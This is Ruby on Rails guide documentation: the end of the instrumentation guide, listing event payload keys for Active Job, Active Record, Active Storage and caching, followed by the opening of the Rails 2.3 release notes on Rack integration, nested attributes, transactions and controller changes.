| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |

#### [3.8.3. `enqueue_retry.active_job`](#enqueue-retry-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:job`     | Job object                             |
| `:adapter` | QueueAdapter object processing the job |
| `:error`   | The error that caused the retry        |
| `:wait`    | The delay of the retry                 |

#### [3.8.4. `enqueue_all.active_job`](#enqueue-all-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:jobs`    | An array of Job objects                |

#### [3.8.5. `perform_start.active_job`](#perform-start-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |

#### [3.8.6. `perform.active_job`](#perform-active-job)

| Key           | Value                                         |
| ------------- | --------------------------------------------- |
| `:adapter`    | QueueAdapter object processing the job        |
| `:job`        | Job object                                    |
| `:db_runtime` | Amount spent executing database queries in ms |

#### [3.8.7. `retry_stopped.active_job`](#retry-stopped-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |
| `:error`   | The error that caused the retry        |

#### [3.8.8. `discard.active_job`](#discard-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |
| `:error`   | The error that caused the discard      |

Jobs using \[Continuation]\[] also emit the following events.

#### [3.8.9. `interrupt.active_job`](#interrupt-active-job)

| Key                | Value                                    |
| ------------------ | ---------------------------------------- |
| `:adapter`         | QueueAdapter object processing the job   |
| `:job`             | Job object                               |
| `:reason`          | Reason the job was interrupted           |
| `:description`     | Description of the continuation state    |
| `:completed_steps` | Array of completed step names            |
| `:current_step`    | Current continuation step object, if any |

#### [3.8.10. `resume.active_job`](#resume-active-job)

| Key                | Value                                    |
| ------------------ | ---------------------------------------- |
| `:adapter`         | QueueAdapter object processing the job   |
| `:job`             | Job object                               |
| `:description`     | Description of the continuation state    |
| `:completed_steps` | Array of completed step names            |
| `:current_step`    | Current continuation step object, if any |

#### [3.8.11. `step.active_job`](#step-active-job)

| Key            | Value                                  |
| -------------- | -------------------------------------- |
| `:adapter`     | QueueAdapter object processing the job |
| `:job`         | Job object                             |
| `:step`        | Continuation step object               |
| `:interrupted` | Whether the step was interrupted       |

#### [3.8.12. `step_skipped.active_job`](#step-skipped-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |
| `:step`    | Name of the skipped step               |

#### [3.8.13. `step_started.active_job`](#step-started-active-job)

| Key        | Value                                  |
| ---------- | -------------------------------------- |
| `:adapter` | QueueAdapter object processing the job |
| `:job`     | Job object                             |
| `:step`    | Continuation step object               |

### [3.9. Active Record](#active-record)

#### [3.9.1. `sql.active_record`](#sql-active-record)

| Key                  | Value                                                  |
| -------------------- | ------------------------------------------------------ |
| `:sql`               | SQL statement                                          |
| `:name`              | Name of the operation                                  |
| `:binds`             | Bind parameters                                        |
| `:type_casted_binds` | Typecasted bind parameters                             |
| `:async`             | `true` if query is loaded asynchronously               |
| `:allow_retry`       | `true` if the query can be automatically retried       |
| `:connection`        | Connection object                                      |
| `:transaction`       | Current transaction, if any                            |
| `:affected_rows`     | Number of rows affected by the query                   |
| `:row_count`         | Number of rows returned by the query                   |
| `:cached`            | `true` is added when result comes from the query cache |
| `:statement_name`    | SQL Statement name (Postgres only)                     |

Adapters may add their own data as well.

```
{
  sql: "SELECT \"posts\".* FROM \"posts\" ",
  name: "Post Load",
  binds: [<ActiveModel::Attribute::WithCastValue:0x00007fe19d15dc00>],
  type_casted_binds: [11],
  async: false,
  allow_retry: true,
  connection: <ActiveRecord::ConnectionAdapters::SQLite3Adapter:0x00007f9f7a838850>,
  transaction: <ActiveRecord::ConnectionAdapters::RealTransaction:0x0000000121b5d3e0>
  affected_rows: 0
  row_count: 5,
  statement_name: nil,
}
```

If the query is not executed in the context of a transaction, `:transaction` is `nil`.

#### [3.9.2. `strict_loading_violation.active_record`](#strict-loading-violation-active-record)

This event is only emitted when [`config.active_record.action_on_strict_loading_violation`](configuring.html#config-active-record-action-on-strict-loading-violation) is set to `:log`.

| Key           | Value                                            |
| ------------- | ------------------------------------------------ |
| `:owner`      | Model with `strict_loading` enabled              |
| `:reflection` | Reflection of the association that tried to load |

#### [3.9.3. `instantiation.active_record`](#instantiation-active-record)

| Key             | Value                               |
| --------------- | ----------------------------------- |
| `:record_count` | Number of records that instantiated |
| `:class_name`   | Record's class                      |

```
{
  record_count: 1,
  class_name: "User"
}
```

#### [3.9.4. `start_transaction.active_record`](#start-transaction-active-record)

This event is emitted when a transaction has been started.

| Key            | Value              |
| -------------- | ------------------ |
| `:transaction` | Transaction object |
| `:connection`  | Connection object  |

Please, note that Active Record does not create the actual database transaction until needed:

```
ActiveRecord::Base.transaction do
  # We are inside the block, but no event has been triggered yet.

  # The following line makes Active Record start the transaction.
  User.count # Event fired here.
end
```

Remember that ordinary nested calls do not create new transactions:

```
ActiveRecord::Base.transaction do |t1|
  User.count # Fires an event for t1.
  ActiveRecord::Base.transaction do |t2|
    # The next line fires no event for t2, because the only
    # real database transaction in this example is t1.
    User.first.touch
  end
end
```

However, if `requires_new: true` is passed, you get an event for the nested transaction too. This might be a savepoint under the hood:

```
ActiveRecord::Base.transaction do |t1|
  User.count # Fires an event for t1.
  ActiveRecord::Base.transaction(requires_new: true) do |t2|
    User.first.touch # Fires an event for t2.
  end
end
```

#### [3.9.5. `transaction.active_record`](#transaction-active-record)

This event is emitted when a database transaction finishes. The state of the transaction can be found in the `:outcome` key.

| Key            | Value                                                |
| -------------- | ---------------------------------------------------- |
| `:transaction` | Transaction object                                   |
| `:outcome`     | `:commit`, `:rollback`, `:restart`, or `:incomplete` |
| `:connection`  | Connection object                                    |

In practice, you cannot do much with the transaction object, but it may still be helpful for tracing database activity. For example, by tracking `transaction.uuid`.

#### [3.9.6. `deprecated_association.active_record`](#deprecated-association-active-record)

This event is emitted when a deprecated association is accessed, and the configured deprecated associations mode is `:notify`.

| Key           | Value                                           |
| ------------- | ----------------------------------------------- |
| `:reflection` | The reflection of the association               |
| `:message`    | A descriptive message about the access          |
| `:location`   | The application-level location of the access    |
| `:backtrace`  | Only present if the option `:backtrace` is true |

The `:location` is a `Thread::Backtrace::Location` object, and `:backtrace`, if present, is an array of `Thread::Backtrace::Location` objects. These are computed using the Active Record backtrace cleaner. In Rails applications, this is the same as `Rails.backtrace_cleaner`.

### [3.10. Active Storage](#active-storage)

#### [3.10.1. `preview.active_storage`](#preview-active-storage)

| Key    | Value        |
| ------ | ------------ |
| `:key` | Secure token |

#### [3.10.2. `transform.active_storage`](#transform-active-storage)

#### [3.10.3. `analyze.active_storage`](#analyze-active-storage)

| Key         | Value                          |
| ----------- | ------------------------------ |
| `:analyzer` | Name of analyzer e.g., ffprobe |

### [3.11. Active Storage: Storage Service](#active-storage-storage-service)

#### [3.11.1. `service_upload.active_storage`](#service-upload-active-storage)

| Key         | Value                        |
| ----------- | ---------------------------- |
| `:key`      | Secure token                 |
| `:service`  | Name of the service          |
| `:checksum` | Checksum to ensure integrity |

#### [3.11.2. `service_streaming_download.active_storage`](#service-streaming-download-active-storage)

| Key        | Value               |
| ---------- | ------------------- |
| `:key`     | Secure token        |
| `:service` | Name of the service |

#### [3.11.3. `service_download_chunk.active_storage`](#service-download-chunk-active-storage)

| Key        | Value                           |
| ---------- | ------------------------------- |
| `:key`     | Secure token                    |
| `:service` | Name of the service             |
| `:range`   | Byte range attempted to be read |

#### [3.11.4. `service_download.active_storage`](#service-download-active-storage)

| Key        | Value               |
| ---------- | ------------------- |
| `:key`     | Secure token        |
| `:service` | Name of the service |

#### [3.11.5. `service_delete.active_storage`](#service-delete-active-storage)

| Key        | Value               |
| ---------- | ------------------- |
| `:key`     | Secure token        |
| `:service` | Name of the service |

#### [3.11.6. `service_delete_prefixed.active_storage`](#service-delete-prefixed-active-storage)

| Key        | Value               |
| ---------- | ------------------- |
| `:prefix`  | Key prefix          |
| `:service` | Name of the service |

#### [3.11.7. `service_exist.active_storage`](#service-exist-active-storage)

| Key        | Value                      |
| ---------- | -------------------------- |
| `:key`     | Secure token               |
| `:service` | Name of the service        |
| `:exist`   | File or blob exists or not |

#### [3.11.8. `service_url.active_storage`](#service-url-active-storage)

| Key        | Value               |
| ---------- | ------------------- |
| `:key`     | Secure token        |
| `:service` | Name of the service |
| `:url`     | Generated URL       |

#### [3.11.9. `service_update_metadata.active_storage`](#service-update-metadata-active-storage)

This event is only emitted when using the Google Cloud Storage service.

| Key             | Value                            |
| --------------- | -------------------------------- |
| `:key`          | Secure token                     |
| `:service`      | Name of the service              |
| `:content_type` | HTTP `Content-Type` field        |
| `:disposition`  | HTTP `Content-Disposition` field |

### [3.12. Active Support: Caching](#active-support-caching)

#### [3.12.1. `cache_read.active_support`](#cache-read-active-support)

| Key                | Value                                                                                                                               |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| `:key`             | Key used in the store                                                                                                               |
| `:store`           | Name of the store class                                                                                                             |
| `:hit`             | If this read is a hit                                                                                                               |
| `:super_operation` | `:fetch` if a read is done with [`fetch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch) |

#### [3.12.2. `cache_read_multi.active_support`](#cache-read-multi-active-support)

| Key                | Value                                                                                                                                                 |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `:key`             | Keys used in the store                                                                                                                                |
| `:store`           | Name of the store class                                                                                                                               |
| `:hits`            | Keys of cache hits                                                                                                                                    |
| `:super_operation` | `:fetch_multi` if a read is done with [`fetch_multi`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch_multi) |

#### [3.12.3. `cache_generate.active_support`](#cache-generate-active-support)

This event is only emitted when [`fetch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch) is called with a block.

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key used in the store   |
| `:store` | Name of the store class |

Options passed to `fetch` will be merged with the payload when writing to the store.

```
{
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}
```

#### [3.12.4. `cache_fetch_hit.active_support`](#cache-fetch-hit-active-support)

This event is only emitted when [`fetch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch) is called with a block.

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key used in the store   |
| `:store` | Name of the store class |

Options passed to `fetch` will be merged with the payload.

```
{
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}
```

#### [3.12.5. `cache_write.active_support`](#cache-write-active-support)

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key used in the store   |
| `:store` | Name of the store class |

Cache stores may add their own data as well.

```
{
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}
```

#### [3.12.6. `cache_write_multi.active_support`](#cache-write-multi-active-support)

| Key      | Value                                |
| -------- | ------------------------------------ |
| `:key`   | Keys and values written to the store |
| `:store` | Name of the store class              |

#### [3.12.7. `cache_increment.active_support`](#cache-increment-active-support)

| Key       | Value                   |
| --------- | ----------------------- |
| `:key`    | Key used in the store   |
| `:store`  | Name of the store class |
| `:amount` | Increment amount        |

```
{
  key: "bottles-of-beer",
  store: "ActiveSupport::Cache::RedisCacheStore",
  amount: 99
}
```

#### [3.12.8. `cache_decrement.active_support`](#cache-decrement-active-support)

| Key       | Value                   |
| --------- | ----------------------- |
| `:key`    | Key used in the store   |
| `:store`  | Name of the store class |
| `:amount` | Decrement amount        |

```
{
  key: "bottles-of-beer",
  store: "ActiveSupport::Cache::RedisCacheStore",
  amount: 1
}
```

#### [3.12.9. `cache_delete.active_support`](#cache-delete-active-support)

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key used in the store   |
| `:store` | Name of the store class |

```
{
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}
```

#### [3.12.10. `cache_delete_multi.active_support`](#cache-delete-multi-active-support)

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Keys used in the store  |
| `:store` | Name of the store class |

#### [3.12.11. `cache_delete_matched.active_support`](#cache-delete-matched-active-support)

This event is only emitted when using [`RedisCacheStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/RedisCacheStore.html), [`FileStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/FileStore.html), or [`MemoryStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemoryStore.html).

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key pattern used        |
| `:store` | Name of the store class |

```
{
  key: "posts/*",
  store: "ActiveSupport::Cache::RedisCacheStore"
}
```

#### [3.12.12. `cache_cleanup.active_support`](#cache-cleanup-active-support)

This event is only emitted when using [`MemoryStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemoryStore.html).

| Key      | Value                                         |
| -------- | --------------------------------------------- |
| `:store` | Name of the store class                       |
| `:size`  | Number of entries in the cache before cleanup |

```
{
  store: "ActiveSupport::Cache::MemoryStore",
  size: 9001
}
```

#### [3.12.13. `cache_prune.active_support`](#cache-prune-active-support)

This event is only emitted when using [`MemoryStore`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/MemoryStore.html).

| Key      | Value                                     |
| -------- | ----------------------------------------- |
| `:store` | Name of the store class                   |
| `:key`   | Target size (in bytes) for the cache      |
| `:from`  | Size (in bytes) of the cache before prune |

```
{
  store: "ActiveSupport::Cache::MemoryStore",
  key: 5000,
  from: 9001
}
```

#### [3.12.14. `cache_exist?.active_support`](#cache-exist-questionmark-active-support)

| Key      | Value                   |
| -------- | ----------------------- |
| `:key`   | Key used in the store   |
| `:store` | Name of the store class |

```
{
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}
```

### [3.13. Active Support: Messages](#active-support-messages)

#### [3.13.1. `message_serializer_fallback.active_support`](#message-serializer-fallback-active-support)

| Key             | Value                         |
| --------------- | ----------------------------- |
| `:serializer`   | Primary (intended) serializer |
| `:fallback`     | Fallback (actual) serializer  |
| `:serialized`   | Serialized string             |
| `:deserialized` | Deserialized value            |

```
{
  serializer: :json_allow_marshal,
  fallback: :marshal,
  serialized: "\x04\b{\x06I\"\nHello\x06:\x06ETI\"\nWorld\x06;\x00T",
  deserialized: { "Hello" => "World" },
}
```

### [3.14. Rails](#rails)

#### [3.14.1. `deprecation.rails`](#deprecation-rails)

| Key                    | Value                                                 |
| ---------------------- | ----------------------------------------------------- |
| `:message`             | The deprecation warning                               |
| `:callstack`           | Where the deprecation came from                       |
| `:gem_name`            | Name of the gem reporting the deprecation             |
| `:deprecation_horizon` | Version where the deprecated behavior will be removed |

### [3.15. Railties](#railties)

#### [3.15.1. `load_config_initializer.railties`](#load-config-initializer-railties)

| Key            | Value                                               |
| -------------- | --------------------------------------------------- |
| `:initializer` | Path of loaded initializer in `config/initializers` |

## [4. Exceptions](#exceptions)

If an exception happens during any instrumentation, the payload will include information about it.

| Key                 | Value                                                          |
| ------------------- | -------------------------------------------------------------- |
| `:exception`        | An array of two elements. Exception class name and the message |
| `:exception_object` | The exception object                                           |

## [5. Creating Custom Events](#creating-custom-events)

Adding your own events is easy as well. Active Support will take care of all the heavy lifting for you. Simply call [`ActiveSupport::Notifications.instrument`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Notifications.html#method-c-instrument) with a `name`, `payload`, and a block. The notification will be sent after the block returns. Active Support will generate the start and end times, and add the instrumenter's unique ID. All data passed into the `instrument` call will make it into the payload.

Here's an example:

```
ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
  # do your custom stuff here
end
```

Now you can listen to this event with:

```
ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
  puts data.inspect # {:this=>:data}
end
```

You may also call `instrument` without passing a block. This lets you leverage the instrumentation infrastructure for other messaging uses.

```
ActiveSupport::Notifications.instrument "my.custom.event", this: :data

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
  puts data.inspect # {:this=>:data}
end
```

You should follow Rails conventions when defining your own events. The format is: `event.library`. If your application is sending Tweets, you should create an event named `tweet.twitter`.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/2_3_release_notes.html
----

***

## [1. Application Architecture](#application-architecture)

There are two major changes in the architecture of Rails applications: complete integration of the [Rack](https://rack.github.io/) modular web server interface, and renewed support for Rails Engines.

### [1.1. Rack Integration](#rack-integration)

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface). Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

* Sessions
* Cookies
* File uploads
* JSON/XML APIs

Here's a summary of the rack-related changes:

* `script/server` has been switched to use Rack, which means it supports any Rack compatible server. `script/server` will also pick up a rackup configuration file if one exists. By default, it will look for a `config.ru` file, but you can override this with the `-c` switch.
* The FCGI handler goes through Rack.
* `ActionController::Dispatcher` maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in `environment.rb`.
* The `rake middleware` task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
* `ActionController::CGIHandler` is a backwards compatible CGI wrapper around Rack. The `CGIHandler` is meant to take an old CGI object and convert its environment information into a Rack compatible form.
* `CgiRequest` and `CgiResponse` have been removed.
* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
* You no longer need to use `CGI::Cookie.new` in your tests for setting a cookie value. Assigning a `String` value to request.cookies\["foo"] now sets the cookie as expected.
* `CGI::Session::CookieStore` has been replaced by `ActionController::Session::CookieStore`.
* `CGI::Session::MemCacheStore` has been replaced by `ActionController::Session::MemCacheStore`.
* `CGI::Session::ActiveRecordStore` has been replaced by `ActiveRecord::SessionStore`.
* You can still change your session store with `ActionController::Base.session_store = :active_record_store`.
* Default sessions options are still set with `ActionController::Base.session = { :key => "..." }`. However, the `:session_domain` option has been renamed to `:domain`.
* The mutex that normally wraps your entire request has been moved into middleware, `ActionController::Lock`.
* `ActionController::AbstractRequest` and `ActionController::Request` have been unified. The new `ActionController::Request` inherits from `Rack::Request`. This affects access to `response.headers['type']` in test requests. Use `response.content_type` instead.
* `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
* The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`.
* `ActionController::Request` inherits from `Rack::Request`.
* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`.
* Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it.

### [1.2. Renewed Support for Rails Engines](#renewed-support-for-rails-engines)

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your `routes.rb` file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/\[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

## [2. Documentation](#documentation)

The [Ruby on Rails guides](https://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](https://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.

* More Information: [Rails Documentation Projects](https://rubyonrails.org/2009/1/15/rails-documentation-projects)

## [3. Ruby 1.9.1 Support](#ruby-1-9-1-support)

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

## [4. Active Record](#active-record)

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

### [4.1. Nested Attributes](#nested-attributes)

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

```
class Book < ActiveRecord::Base
  has_one :author
  has_many :pages

  accepts_nested_attributes_for :author, :pages
end
```

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the `:reject_if` option:

```
accepts_nested_attributes_for :author,
  :reject_if => proc { |attributes| attributes['name'].blank? }
```

* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
* More Information: [Nested Model Forms](https://rubyonrails.org/2009/1/26/nested-model-forms)

### [4.2. Nested Transactions](#nested-transactions)

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

```
User.transaction do
  User.create(:username => 'Admin')
  User.transaction(:requires_new => true) do
    User.create(:username => 'Regular')
    raise ActiveRecord::Rollback
  end
end

User.find(:all)  # => Returns only Admin
```

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the `:requires_new` option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are [using savepoints](http://rails.lighthouseapp.com/projects/8994/tickets/383,) so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/)

### [4.3. Dynamic Scopes](#dynamic-scopes)

You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly *and* method chaining. For example:

```
Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
  :conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")
```

There's nothing to define to use dynamic scopes: they just work.

* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/)
* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://archives.ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods)

### [4.4. Default Scopes](#default-scopes)

Rails 2.3 will introduce the notion of *default scopes* similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

* Lead Contributor: Paweł Kondzior
* More Information: [What's New in Edge Rails: Default Scoping](http://archives.ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)

### [4.5. Batch Processing](#batch-processing)

You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`:

```
Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
  customer_group.each { |customer| customer.update_account_balance! }
end
```

You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):

```
Customer.find_each do |customer|
  customer.update_account_balance!
end
```

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

* More Information (at that point the convenience method was called just `each`):

  * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
  * [What's New in Edge Rails: Batched Find](http://archives.ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)

### [4.6. Multiple Conditions for Callbacks](#multiple-conditions-for-callbacks)

When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:

```
before_save :update_credit_rating, :if => :active,
  :unless => [:admin, :cash_only]
```

* Lead Contributor: L. Caviola

### [4.7. Find with having](#find-with-having)

Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

```
developers = Developer.find(:all, :group => "salary",
  :having => "sum(salary) > 10000", :select => "salary")
```

* Lead Contributor: [Emilio Tagua](https://github.com/miloops)

### [4.8. Reconnecting MySQL Connections](#reconnecting-mysql-connections)

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.

* Lead Contributor: [Dov Murik](http://x.com/dubek)

* More information:

  * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html)
  * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)

### [4.9. Other Active Record Changes](#other-active-record-changes)

* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
* A bug in quoting table names in some `has_many :through` associations was fixed.
* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
* Better error messages on failed `find_by_attribute!` calls.
* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
* Rake tasks for testing databases via JDBC have been added.
* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.

## [5. Action Controller](#action-controller)

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

### [5.1. Unified Rendering](#unified-rendering)

`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

```
render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'
```

Now in Rails 2.3, you can just supply what you want to render:

```
render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show
```

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.

### [5.2. Application Controller Renamed](#application-controller-renamed)

If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be `application_controller.rb` in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.

* More Information:

  * [The Death of Application.rb](https://afreshcup.com/home/2008/11/17/rails-2x-the-death-of-applicationrb)
  * [What's New in Edge Rails: Application.rb Duality is no More](http://archives.ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)

### [5.3. HTTP Digest Authentication Support](#http-digest-authentication-support)

Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

```
class PostsController < ApplicationController
  Users = {"dhh" => "secret"}
  before_filter :authenticate

  def secret
    render :text => "Password Required!"
  end

  private
  def authenticate
    realm = "Application"
    authenticate_or_request_with_http_digest(realm) do |name|
      Users[name]
    end
  end
end
```

* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/)
* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://archives.ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication)

### [5.4. More Efficient Routing](#more-efficient-routing)

There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)

### [5.5. Rack-based Lazy-loaded Sessions](#rack-based-lazy-loaded-sessions)

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

### [5.6. MIME Type Handling Changes](#mime-type-handling-changes)

There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

```
